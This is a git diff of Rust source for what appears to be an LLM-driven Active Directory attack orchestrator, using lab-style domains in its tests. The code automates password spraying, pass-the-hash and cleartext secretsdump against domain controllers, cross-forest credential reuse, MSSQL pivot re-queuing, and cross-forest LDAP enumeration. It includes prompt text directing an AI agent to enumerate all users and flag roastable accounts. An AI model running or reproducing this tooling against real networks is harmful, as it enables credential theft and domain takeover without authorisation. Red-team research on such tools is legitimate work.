&state.all_domains_with_dcs() { if domain.ends_with(&suffix) { debug!( cred_domain = %cred_domain, @@ -215,10 +392,14 @@ pub async fn auto_credential_access( .users .iter() .filter(|u| !u.domain.is_empty()) + // Skip AD built-in disabled accounts (guest, krbtgt, etc.). + // Spraying these can never succeed and burns badPwdCount budget + // that real accounts share under domain lockout policy. + .filter(|u| !ares_core::models::is_always_disabled_account(&u.username)) // Skip delegation accounts — their auth budget is reserved for // S4U exploitation. Spraying them causes lockout before S4U fires. .filter(|u| !state.is_delegation_account(&u.username)) - .filter(|u| !state.is_credential_quarantined(&u.username, &u.domain)) + .filter(|u| !state.is_principal_quarantined(&u.username, &u.domain)) .filter_map(|u| { let user_domain = u.domain.to_lowercase(); let dedup = spray_dedup_key(&user_domain, &u.username); @@ -256,10 +437,16 @@ pub async fn auto_credential_access( } sprayed_domains.insert(domain.clone()); + let excluded_users = dispatcher + .state + .read() + .await + .quarantined_principals_in_domain(domain); let payload = json!({ "technique": "username_as_password", "target_ip": dc_ip, "domain": domain, + "excluded_users": excluded_users.join(","), }); match dispatcher @@ -298,7 +485,7 @@ pub async fn auto_credential_access( .filter(|c| !c.domain.is_empty() && !c.password.is_empty()) // Skip delegation accounts — their auth is reserved for S4U. .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) .filter_map(|cred| { let cred_domain = cred.domain.to_lowercase(); let dedup = low_hanging_dedup_key(&cred_domain, &cred.username); @@ -383,7 +570,7 @@ pub async fn auto_credential_access( // Skip delegation accounts — secretsdump will always fail // (they're not admin) and burns auth budget needed for S4U. .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) { let cred_domain = cred.domain.to_lowercase(); for host in &state.hosts { @@ -442,11 +629,11 @@ pub async fn auto_credential_access( username = %cred.username, "Credential secretsdump dispatched" ); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + state.mark_credential_capture_in_flight(&cred.domain); + } let _ = dispatcher .state .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &dedup_key) @@ -478,10 +665,15 @@ pub async fn auto_credential_access( }) // Only spray after initial recon (AS-REP) has completed. // This prevents spraying in the first cycle when Kerberoast - // hasn't had time to collect hashes yet. + // hasn't had time to collect hashes yet. AS-REP dedup is + // keyed `domain:empty` or `domain:users` (re-armable on + // user-list transitions); either form satisfies the gate. .filter(|(domain, _)| { - state.is_processed(DEDUP_ASREP_DOMAINS, domain) - || state.is_processed(DEDUP_ASREP_DOMAINS, &domain.to_lowercase()) + let d = domain.to_lowercase(); + let empty_key = format!("{d}:empty"); + let users_key = format!("{d}:users"); + state.is_processed(DEDUP_ASREP_DOMAINS, &empty_key) + || state.is_processed(DEDUP_ASREP_DOMAINS, &users_key) }) // Only spray after delegation enumeration has dispatched for // at least one credential in this domain. Spraying before @@ -510,12 +702,19 @@ pub async fn auto_credential_access( }; for (domain, dc_ip) in common_spray_work { + let excluded_users = dispatcher + .state + .read() + .await + .quarantined_principals_in_domain(&domain); let payload = json!({ "techniques": ["password_spray", "username_as_password"], "reason": "low_hanging_fruit", "target_ip": dc_ip, "domain": domain, "use_common_passwords": true, + "acknowledge_no_policy": true, + "excluded_users": excluded_users.join(","), }); // Mark as processed BEFORE submitting to prevent duplicate deferred entries. @@ -552,6 +751,8 @@ pub async fn auto_credential_access( mod tests { use super::*; + // --- kerberoast_dedup_key --- + #[test] fn kerberoast_dedup_key_basic() { assert_eq!( @@ -573,6 +774,8 @@ mod tests { assert_eq!(kerberoast_dedup_key("", ""), "krb::"); } + // --- spray_dedup_key --- + #[test] fn spray_dedup_key_basic() { assert_eq!( @@ -591,6 +794,8 @@ mod tests { assert_eq!(spray_dedup_key("", ""), ":"); } + // --- common_spray_dedup_key --- + #[test] fn common_spray_dedup_key_basic() { assert_eq!( @@ -604,6 +809,8 @@ mod tests { assert_eq!(common_spray_dedup_key(""), "common:"); } + // --- low_hanging_dedup_key --- + #[test] fn low_hanging_dedup_key_basic() { assert_eq!( @@ -617,6 +824,8 @@ mod tests { assert_eq!(low_hanging_dedup_key("", ""), ":"); } + // --- credential_secretsdump_dedup_key --- + #[test] fn credential_secretsdump_dedup_key_basic() { assert_eq!( @@ -639,6 +848,8 @@ mod tests { assert_eq!(credential_secretsdump_dedup_key("", "", ""), "::"); } + // --- resolve_host_domain_from_fqdn --- + #[test] fn resolve_host_domain_from_fqdn_typical() { assert_eq!( @@ -673,6 +884,8 @@ mod tests { assert_eq!(resolve_host_domain_from_fqdn(""), ""); } + // --- is_host_domain_related --- + #[test] fn is_host_domain_related_same_domain() { assert!(is_host_domain_related("contoso.local", "contoso.local")); diff --git a/ares-cli/src/orchestrator/automation/credential_expansion.rs b/ares-cli/src/orchestrator/automation/credential_expansion.rs index 773af2d6..346e2c01 100644 --- a/ares-cli/src/orchestrator/automation/credential_expansion.rs +++ b/ares-cli/src/orchestrator/automation/credential_expansion.rs @@ -8,8 +8,9 @@ use std::sync::Arc; use std::time::Duration; +use redis::AsyncCommands; use tokio::sync::watch; -use tracing::debug; +use tracing::{debug, info}; use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::state::*; @@ -51,7 +52,7 @@ pub async fn auto_credential_expansion( // Skip delegation accounts — their auth is reserved for S4U. .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) // Skip quarantined credentials — locked out, retry after expiry. - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) .filter_map(|cred| { let dedup = format!( "{}:{}", @@ -317,9 +318,26 @@ pub async fn auto_credential_expansion( // 4. Hash→secretsdump: try pass-the-hash secretsdump against DCs. // This is the fastest path from hash → krbtgt → DA. + // + // Filter DCs to those in the same forest as the hash's domain + // (exact match or child-of). Cross-forest PTH secretsdump fails + // at DRSUAPI with `rpc_s_access_denied` and burns a + // CredentialInflight slot plus ~30k LLM tokens per failed attempt. + // The password-cred path above already filters this way; the hash + // path was missing the gate, dispatching foreign-forest creds + // against unrelated DCs. { let state = dispatcher.state.read().await; - let dc_ips: Vec = state.domain_controllers.values().cloned().collect(); + let hash_domain = item.hash.domain.to_lowercase(); + let dc_ips: Vec = state + .all_domains_with_dcs() + .into_iter() + .filter(|(domain, _)| { + let d = domain.to_lowercase(); + d == hash_domain || d.ends_with(&format!(".{hash_domain}")) + }) + .map(|(_, ip)| ip) + .collect(); drop(state); if !dispatcher.is_technique_allowed("secretsdump") { @@ -378,9 +396,122 @@ pub async fn auto_credential_expansion( .await; } } + + // 5. Re-dispatch unsuccessful mssql_access vulns when a new same-domain + // cleartext credential is available. Cross-forest MSSQL pivots fail + // if the LLM tries them before any usable cred exists in the linked + // server's source forest — once that cred arrives, push the vuln + // back into the exploitation ZSET so the LLM gets another shot + // with the new credential set in its prompt context. + let retries = collect_mssql_retries(&dispatcher).await; + for retry in retries { + if let Err(e) = requeue_mssql_vuln(&dispatcher, &retry).await { + debug!(err = %e, vuln_id = %retry.vuln_id, "Failed to requeue mssql_access"); + continue; + } + info!( + vuln_id = %retry.vuln_id, + cred_user = %retry.cred_user, + cred_domain = %retry.cred_domain, + "Re-queued mssql_access for new credential" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_MSSQL_RETRY, retry.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_MSSQL_RETRY, &retry.dedup_key) + .await; + } } } +struct MssqlRetry { + vuln_id: String, + vuln_json: String, + priority: i32, + cred_user: String, + cred_domain: String, + dedup_key: String, +} + +/// Walk discovered vulnerabilities for `mssql_access` entries that are not +/// yet exploited and have at least one matching unseen credential. Builds +/// a (vuln, credential) work item with a stable dedup key so the same +/// vuln/cred pair is not re-queued repeatedly. +async fn collect_mssql_retries(dispatcher: &Arc) -> Vec { + let state = dispatcher.state.read().await; + let mut out = Vec::new(); + for vuln in state.discovered_vulnerabilities.values() { + if vuln.vuln_type != "mssql_access" { + continue; + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + continue; + } + let vuln_domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_lowercase(); + for cred in &state.credentials { + if cred.password.is_empty() || cred.domain.is_empty() { + continue; + } + // Match on domain when the vuln carries one. Otherwise match any + // cred — the LLM will pick from the prompt's credential list. + let cred_dom = cred.domain.to_lowercase(); + let matches_domain = vuln_domain.is_empty() + || cred_dom == vuln_domain + || cred_dom.ends_with(&format!(".{vuln_domain}")) + || vuln_domain.ends_with(&format!(".{cred_dom}")); + if !matches_domain { + continue; + } + let dedup_key = format!( + "{}:{}:{}", + vuln.vuln_id, + cred.username.to_lowercase(), + cred_dom + ); + if state.is_processed(DEDUP_MSSQL_RETRY, &dedup_key) { + continue; + } + let Ok(vuln_json) = serde_json::to_string(vuln) else { + continue; + }; + out.push(MssqlRetry { + vuln_id: vuln.vuln_id.clone(), + vuln_json, + priority: vuln.priority, + cred_user: cred.username.clone(), + cred_domain: cred.domain.clone(), + dedup_key, + }); + } + } + out +} + +/// Push the vuln back into the exploitation ZSET. The exploitation_workflow +/// loop pops by lowest score; reuse the original priority so the retry +/// competes fairly with other work. +async fn requeue_mssql_vuln( + dispatcher: &Arc, + retry: &MssqlRetry, +) -> anyhow::Result<()> { + let key = dispatcher.state.vuln_queue_key().await; + let mut conn = dispatcher.queue.connection(); + let _: () = conn + .zadd(&key, &retry.vuln_json, retry.priority as f64) + .await?; + let _: () = conn.expire(&key, 86400).await.unwrap_or(()); + Ok(()) +} + struct ExpansionWork { dedup_key: String, credential: ares_core::models::Credential, @@ -423,12 +554,12 @@ mod tests { #[test] fn netbios_domain_resolution() { // Simulate the NetBIOS→FQDN resolution logic from the automation loop - let raw = "NORTH"; + let raw = "CHILD"; let raw_lower = raw.to_lowercase(); // When netbios_to_fqdn has a mapping, use it let mut map = std::collections::HashMap::new(); - map.insert("north".to_string(), "north.contoso.local".to_string()); + map.insert("child".to_string(), "child.contoso.local".to_string()); let resolved = if !raw_lower.contains('.') { map.get(&raw_lower) @@ -437,7 +568,7 @@ mod tests { } else { raw_lower.clone() }; - assert_eq!(resolved, "north.contoso.local"); + assert_eq!(resolved, "child.contoso.local"); // When FQDN is already used, pass through let fqdn_raw = "contoso.local"; @@ -452,7 +583,7 @@ mod tests { assert_eq!(resolved2, "contoso.local"); // When no mapping exists, use the raw value - let unknown = "CHILD"; + let unknown = "UNKNOWN"; let unknown_lower = unknown.to_lowercase(); let resolved3 = if !unknown_lower.contains('.') { map.get(&unknown_lower) @@ -461,7 +592,7 @@ mod tests { } else { unknown_lower.clone() }; - assert_eq!(resolved3, "child"); + assert_eq!(resolved3, "unknown"); } #[test] @@ -569,6 +700,10 @@ mod tests { parent_id: None, attack_step: 0, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, }; let pth_cred = ares_core::models::Credential { id: format!("pth_{}", hash.username), diff --git a/ares-cli/src/orchestrator/automation/credential_reuse.rs b/ares-cli/src/orchestrator/automation/credential_reuse.rs index ebacf8dd..125970a3 100644 --- a/ares-cli/src/orchestrator/automation/credential_reuse.rs +++ b/ares-cli/src/orchestrator/automation/credential_reuse.rs @@ -19,6 +19,13 @@ use crate::orchestrator::dispatcher::Dispatcher; const DEDUP_CROSS_REUSE: &str = "cross_reuse"; /// Check if a username is a high-value reuse candidate. +/// +/// Machine accounts (`HOST$`) are NEVER reuse candidates — their NT hash is +/// derived from the computer's randomly-generated 240-byte password and is +/// bound to that computer object in its source NTDS. The hash will not +/// authenticate as another machine, in another domain, or in any trusted +/// forest. Dispatching `secretsdump` with a foreign machine hash always +/// returns STATUS_LOGON_FAILURE and just burns dispatcher budget. fn is_reuse_candidate(username: &str) -> bool { if username.ends_with('$') { return false; @@ -83,18 +90,24 @@ pub async fn auto_credential_reuse( // Collect cross-domain reuse candidates: // For each NTLM hash extracted from a dominated domain, try it against // DCs in domains that are NOT in the same forest as the source domain. - let work: Vec<(String, String, String, String, String)> = { + // Also collect cleartext-password candidates from `state.credentials` — + // service accounts (e.g. `sql_svc`) routinely share passwords across + // forests in lab/legacy AD deployments, so cracked-Kerberoast plaintexts + // are a high-yield cross-forest pivot. + let hash_work: Vec<(String, String, String, String, String)>; + let cred_work: Vec<(String, String, String, String, String)>; + { let state = dispatcher.state.read().await; // Need at least 2 known DCs (implies multiple domains) - if state.domain_controllers.len() < 2 { + if state.all_domains_with_dcs().len() < 2 { continue; } - let mut items = Vec::new(); + let mut h_items = Vec::new(); + let mut c_items = Vec::new(); - // Target high-value accounts for cross-domain reuse - let reuse_candidates: Vec<_> = state + let reuse_hashes: Vec<_> = state .hashes .iter() .filter(|h| h.hash_type.to_uppercase() == "NTLM") @@ -102,22 +115,18 @@ pub async fn auto_credential_reuse( .filter(|h| is_reuse_candidate(&h.username)) .collect(); - for hash in &reuse_candidates { + for hash in &reuse_hashes { let hash_domain = hash.domain.to_lowercase(); - - for (dc_domain, dc_ip) in &state.domain_controllers { + for (dc_domain, dc_ip) in &state.all_domains_with_dcs() { let target_domain = dc_domain.to_lowercase(); - - // Skip same domain and parent/child domains (handled by secretsdump.rs) if is_same_forest_domain(&target_domain, &hash_domain) { continue; } - let hash_prefix = &hash.hash_value[..16.min(hash.hash_value.len())]; let dedup = cross_reuse_dedup_key(dc_ip, &target_domain, &hash.username, hash_prefix); if !state.is_processed(DEDUP_CROSS_REUSE, &dedup) { - items.push(( + h_items.push(( dedup, dc_ip.clone(), hash.username.clone(), @@ -128,15 +137,64 @@ pub async fn auto_credential_reuse( } } - items - }; + // Cleartext-password reuse candidates. Try the same password but + // rebind the auth domain to the target forest's domain — this is + // the actual reuse test (account exists with same password on the + // other side). request_secretsdump's "credential.domain" is what + // ends up in the impacket auth string, so rewriting it here is + // what makes the cross-forest test meaningful. + let reuse_creds: Vec<_> = state + .credentials + .iter() + .filter(|c| !c.password.is_empty()) + .filter(|c| is_reuse_candidate(&c.username)) + .collect(); - if work.is_empty() { + for cred in &reuse_creds { + let cred_domain = cred.domain.to_lowercase(); + for (dc_domain, dc_ip) in &state.all_domains_with_dcs() { + let target_domain = dc_domain.to_lowercase(); + if is_same_forest_domain(&target_domain, &cred_domain) { + continue; + } + // Use first 16 chars of password as the dedup hash-prefix + // analog so the key shape matches hash-side entries. + let pw_prefix_full: String = cred + .password + .chars() + .take(16) + .collect::() + .chars() + .map(|c| if c.is_ascii_alphanumeric() { c } else { '_' }) + .collect(); + let dedup = cross_reuse_dedup_key( + dc_ip, + &target_domain, + &cred.username, + &format!("pw:{pw_prefix_full}"), + ); + if !state.is_processed(DEDUP_CROSS_REUSE, &dedup) { + c_items.push(( + dedup, + dc_ip.clone(), + cred.username.clone(), + target_domain, + cred.password.clone(), + )); + } + } + } + + hash_work = h_items; + cred_work = c_items; + } + + if hash_work.is_empty() && cred_work.is_empty() { continue; } - // Limit to 3 per cycle to avoid flooding - for (dedup_key, dc_ip, username, source_domain, hash_value) in work.into_iter().take(3) { + for (dedup_key, dc_ip, username, source_domain, hash_value) in hash_work.into_iter().take(3) + { debug!( dc = %dc_ip, username = %username, @@ -146,7 +204,14 @@ pub async fn auto_credential_reuse( let priority = dispatcher.effective_priority("credential_reuse"); match dispatcher - .request_secretsdump_hash(&dc_ip, &username, &source_domain, &hash_value, priority) + .request_secretsdump_hash( + &dc_ip, + &username, + &source_domain, + &hash_value, + priority, + None, + ) .await { Ok(Some(task_id)) => { @@ -173,6 +238,56 @@ pub async fn auto_credential_reuse( Err(e) => warn!(err = %e, "Failed to dispatch cross-domain reuse"), } } + + for (dedup_key, dc_ip, username, target_domain, password) in cred_work.into_iter().take(3) { + debug!( + dc = %dc_ip, + username = %username, + target_domain = %target_domain, + "Attempting cross-domain password reuse" + ); + + let probe_cred = ares_core::models::Credential { + id: format!("reuse-probe-{}@{}", username, target_domain), + username: username.clone(), + password: password.clone(), + domain: target_domain.clone(), + source: "credential_reuse_probe".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }; + + let priority = dispatcher.effective_priority("credential_reuse"); + match dispatcher + .request_secretsdump(&dc_ip, &probe_cred, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + dc = %dc_ip, + username = %username, + target_domain = %target_domain, + "Cross-domain password reuse secretsdump dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_CROSS_REUSE, dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_CROSS_REUSE, &dedup_key) + .await; + } + Ok(None) => { + debug!("Cross-domain password reuse deferred by throttler"); + } + Err(e) => warn!(err = %e, "Failed to dispatch cross-domain password reuse"), + } + } } } diff --git a/ares-cli/src/orchestrator/automation/cross_forest_enum.rs b/ares-cli/src/orchestrator/automation/cross_forest_enum.rs new file mode 100644 index 00000000..6c0d5907 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/cross_forest_enum.rs @@ -0,0 +1,885 @@ +//! auto_cross_forest_enum -- targeted cross-forest enumeration. +//! +//! When we have Admin Pwn3d on a DC in a foreign forest but haven't enumerated +//! that forest's users/groups, this module dispatches targeted LDAP enumeration +//! using the best available credential path. +//! +//! Unlike `auto_domain_user_enum` (which fires once per domain), this module +//! retries with better credentials as they become available — specifically: +//! - Cracked passwords from cross-forest secretsdump hashes +//! - Credentials obtained via MSSQL linked server pivots +//! - Admin credentials from owned DCs in the foreign forest +//! +//! This covers the gap where the trusted forest's users are not enumerated +//! because initial recon only has primary-forest credentials. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Check if a credential belongs to a different forest than the target domain. +fn is_cross_forest(cred_domain: &str, target_domain: &str) -> bool { + let c = cred_domain.to_lowercase(); + let t = target_domain.to_lowercase(); + // Same domain or parent/child = same forest + !(c == t || c.ends_with(&format!(".{t}")) || t.ends_with(&format!(".{c}"))) +} + +/// Build dedup key incorporating the credential to allow retry with better creds. +fn cross_forest_dedup_key(domain: &str, username: &str, cred_domain: &str) -> String { + format!( + "xforest:{}:{}@{}", + domain.to_lowercase(), + username.to_lowercase(), + cred_domain.to_lowercase() + ) +} + +fn bind_domain_for_cross_forest(cred_domain: &str, target_domain: &str) -> Option { + if cred_domain.trim().is_empty() || cred_domain.eq_ignore_ascii_case(target_domain) { + None + } else { + Some(cred_domain.to_string()) + } +} + +/// Collect cross-forest enumeration work items from the current state. +/// +/// Returns an empty vec when there are fewer than 2 domains, no credentials, +/// or no actionable work to dispatch. +fn collect_cross_forest_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() || state.domains.len() < 2 { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let domain_lower = domain.to_lowercase(); + + // Count how many users we know in this domain. + let known_user_count = state + .credentials + .iter() + .filter(|c| c.domain.to_lowercase() == domain_lower) + .count(); + + // Also count hashes for this domain. + let known_hash_count = state + .hashes + .iter() + .filter(|h| h.domain.to_lowercase() == domain_lower) + .count(); + + // Skip domains where we already have good coverage + // (at least 5 credentials or 10 hashes = likely already enumerated). + if known_user_count >= 5 || known_hash_count >= 10 { + continue; + } + + // Find the best credential for this domain. + // Priority: same-domain cred > admin cred > cracked hash > any cred. + let best_cred = state + .credentials + .iter() + .filter(|c| { + !c.password.is_empty() && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .min_by_key(|c| { + let c_dom = c.domain.to_lowercase(); + if c_dom == domain_lower { + 0 // Same domain = best + } else if c.is_admin { + 1 // Admin from another domain = good (trust auth) + } else if !is_cross_forest(&c_dom, &domain_lower) { + 2 // Same forest = acceptable + } else { + 3 // Cross-forest = may work via trust + } + }) + .cloned(); + + let cred = match best_cred { + Some(c) => c, + None => continue, + }; + + let dedup_key = cross_forest_dedup_key(&domain_lower, &cred.username, &cred.domain); + if state.is_processed(DEDUP_CROSS_FOREST_ENUM, &dedup_key) { + continue; + } + + items.push(CrossForestWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + is_under_enumerated: known_user_count < 3, + }); + } + + items +} + +/// Dispatches targeted user + group enumeration for foreign forests. +/// Interval: 45s. +pub async fn auto_cross_forest_enum( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + // Wait for initial credential discovery and cross-domain pivots. + tokio::time::sleep(Duration::from_secs(120)).await; + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("cross_forest_enum") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_cross_forest_work(&state) + }; + if work.is_empty() { + continue; + } + + for item in work { + // Dispatch user enumeration + let mut user_payload = json!({ + "technique": "ldap_user_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "filters": ["(objectCategory=person)(objectClass=user)"], + "attributes": [ + "sAMAccountName", "description", "memberOf", + "userAccountControl", "servicePrincipalName", + "msDS-AllowedToDelegateTo", "adminCount" + ], + "cross_forest": true, + "instructions": concat!( + "This is a cross-forest enumeration task. Enumerate ALL users in the ", + "target domain via LDAP. If the credential is from a different domain, ", + "authenticate via the forest trust. Report every user found with their ", + "group memberships, SPNs, delegation settings, and description fields. ", + "Pay special attention to accounts with adminCount=1, ", + "DoesNotRequirePreAuth, or interesting SPNs.\n\n", + "IMPORTANT: For each user found, include them in the discovered_users ", + "array with EXACTLY this JSON format:\n", + " {\"username\": \"samaccountname\", \"domain\": \"domain.local\", ", + "\"source\": \"ldap_enumeration\", \"memberOf\": [\"Group1\", \"Group2\"]}\n", + "Also report users with DoesNotRequirePreAuth as vulnerabilities with ", + "vuln_type='asrep_roastable', and users with SPNs as vuln_type='kerberoastable'." + ), + }); + if let Some(bind_domain) = + bind_domain_for_cross_forest(&item.credential.domain, &item.domain) + { + user_payload["bind_domain"] = json!(bind_domain); + } + + let priority = dispatcher.effective_priority("cross_forest_enum"); + match dispatcher + .throttled_submit("recon", "recon", user_payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + cred_user = %item.credential.username, + cred_domain = %item.credential.domain, + under_enumerated = item.is_under_enumerated, + "Cross-forest user enumeration dispatched" + ); + } + Ok(None) => { + debug!(domain = %item.domain, "Cross-forest user enum deferred"); + continue; // Don't mark as processed if deferred + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch cross-forest user enum"); + continue; + } + } + + // Also dispatch group enumeration for the same domain + let mut group_payload = json!({ + "technique": "ldap_group_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "filters": ["(objectCategory=group)"], + "attributes": [ + "sAMAccountName", "member", "memberOf", "managedBy", + "groupType", "objectSid", "description" + ], + "enumerate_members": true, + "resolve_foreign_principals": true, + "cross_forest": true, + "instructions": concat!( + "Enumerate ALL security groups in this domain and their members. ", + "Resolve Foreign Security Principals to their source domain. ", + "Report group name, type (Global/DomainLocal/Universal), members, ", + "and managed-by. This is critical for mapping cross-domain attack paths.\n\n", + "IMPORTANT: For each user found in any group, include them in the ", + "discovered_users array with EXACTLY this JSON format:\n", + " {\"username\": \"samaccountname\", \"domain\": \"domain.local\", ", + "\"source\": \"ldap_group_enumeration\", \"memberOf\": [\"Group1\", \"Group2\"]}" + ), + }); + if let Some(bind_domain) = + bind_domain_for_cross_forest(&item.credential.domain, &item.domain) + { + group_payload["bind_domain"] = json!(bind_domain); + } + + let group_priority = dispatcher.effective_priority("group_enumeration"); + if let Ok(Some(task_id)) = dispatcher + .throttled_submit("recon", "recon", group_payload, group_priority) + .await + { + info!( + task_id = %task_id, + domain = %item.domain, + "Cross-forest group enumeration dispatched" + ); + } + + // Mark as processed + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_CROSS_FOREST_ENUM, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_CROSS_FOREST_ENUM, &item.dedup_key) + .await; + } + } +} + +struct CrossForestWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, + is_under_enumerated: bool, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn is_cross_forest_same_domain() { + assert!(!is_cross_forest("contoso.local", "contoso.local")); + } + + #[test] + fn is_cross_forest_child_domain() { + assert!(!is_cross_forest("child.contoso.local", "contoso.local")); + } + + #[test] + fn is_cross_forest_parent_domain() { + assert!(!is_cross_forest("contoso.local", "child.contoso.local")); + } + + #[test] + fn is_cross_forest_different_forests() { + assert!(is_cross_forest("contoso.local", "fabrikam.local")); + } + + #[test] + fn is_cross_forest_case_insensitive() { + assert!(!is_cross_forest("CONTOSO.LOCAL", "contoso.local")); + assert!(is_cross_forest("CONTOSO.LOCAL", "fabrikam.local")); + } + + #[test] + fn dedup_key_format() { + let key = cross_forest_dedup_key("fabrikam.local", "Admin", "CONTOSO.LOCAL"); + assert_eq!(key, "xforest:fabrikam.local:admin@contoso.local"); + } + + #[test] + fn dedup_key_case_insensitive() { + let k1 = cross_forest_dedup_key("FABRIKAM.LOCAL", "Admin", "contoso.local"); + let k2 = cross_forest_dedup_key("fabrikam.local", "admin", "CONTOSO.LOCAL"); + assert_eq!(k1, k2); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_CROSS_FOREST_ENUM, "cross_forest_enum"); + } + + #[test] + fn bind_domain_added_for_foreign_forest() { + assert_eq!( + bind_domain_for_cross_forest("contoso.local", "fabrikam.local"), + Some("contoso.local".to_string()) + ); + } + + #[test] + fn bind_domain_omitted_for_same_domain() { + assert_eq!( + bind_domain_for_cross_forest("contoso.local", "contoso.local"), + None + ); + } + + #[test] + fn bind_domain_omitted_when_credential_domain_empty() { + assert_eq!(bind_domain_for_cross_forest("", "fabrikam.local"), None); + } + + #[test] + fn is_cross_forest_empty_strings() { + // Empty strings are equal (same empty domain) + assert!(!is_cross_forest("", "")); + } + + #[test] + fn is_cross_forest_one_empty() { + assert!(is_cross_forest("contoso.local", "")); + assert!(is_cross_forest("", "contoso.local")); + } + + #[test] + fn is_cross_forest_deeply_nested() { + assert!(!is_cross_forest("a.b.contoso.local", "contoso.local")); + assert!(!is_cross_forest("contoso.local", "a.b.contoso.local")); + } + + #[test] + fn cross_forest_work_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: true, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = CrossForestWork { + dedup_key: "xforest:fabrikam.local:admin@contoso.local".into(), + domain: "fabrikam.local".into(), + dc_ip: "192.168.58.20".into(), + credential: cred, + is_under_enumerated: true, + }; + assert!(work.is_under_enumerated); + assert_eq!(work.domain, "fabrikam.local"); + } + + #[test] + fn user_enum_payload_structure() { + let payload = serde_json::json!({ + "technique": "ldap_user_enumeration", + "target_ip": "192.168.58.20", + "domain": "fabrikam.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + "cross_forest": true, + }); + assert_eq!(payload["technique"], "ldap_user_enumeration"); + assert!(payload["cross_forest"].as_bool().unwrap()); + assert_eq!(payload["domain"], "fabrikam.local"); + } + + #[test] + fn group_enum_payload_structure() { + let payload = serde_json::json!({ + "technique": "ldap_group_enumeration", + "target_ip": "192.168.58.20", + "domain": "fabrikam.local", + "resolve_foreign_principals": true, + "cross_forest": true, + }); + assert_eq!(payload["technique"], "ldap_group_enumeration"); + assert!(payload["resolve_foreign_principals"].as_bool().unwrap()); + } + + #[test] + fn coverage_threshold_values() { + // Module uses: known_user_count >= 5 || known_hash_count >= 10 + let known_user_count = 4; + let known_hash_count = 9; + assert!(known_user_count < 5 && known_hash_count < 10); // should trigger enum + + let known_user_count2 = 5; + assert!(known_user_count2 >= 5); // should skip + + let known_hash_count2 = 10; + assert!(known_hash_count2 >= 10); // should skip + } + + #[test] + fn under_enumerated_threshold() { + // is_under_enumerated = known_user_count < 3 + let counts = [0_usize, 2, 3, 5]; + assert!(counts[0] < 3); // 0 users = under-enumerated + assert!(counts[1] < 3); // 2 users = under-enumerated + assert!(counts[2] >= 3); // 3 users = not under-enumerated + } + + // --- collect_cross_forest_work tests --- + + fn make_cred( + id: &str, + user: &str, + pass: &str, + domain: &str, + admin: bool, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: id.into(), + username: user.into(), + password: pass.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: admin, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_hash(user: &str, domain: &str) -> ares_core::models::Hash { + ares_core::models::Hash { + id: format!("h-{user}"), + username: user.into(), + hash_value: "aad3b435b51404eeaad3b435b51404ee:deadbeef".into(), + hash_type: "ntlm".into(), + domain: domain.into(), + cracked_password: None, + source: "test".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, 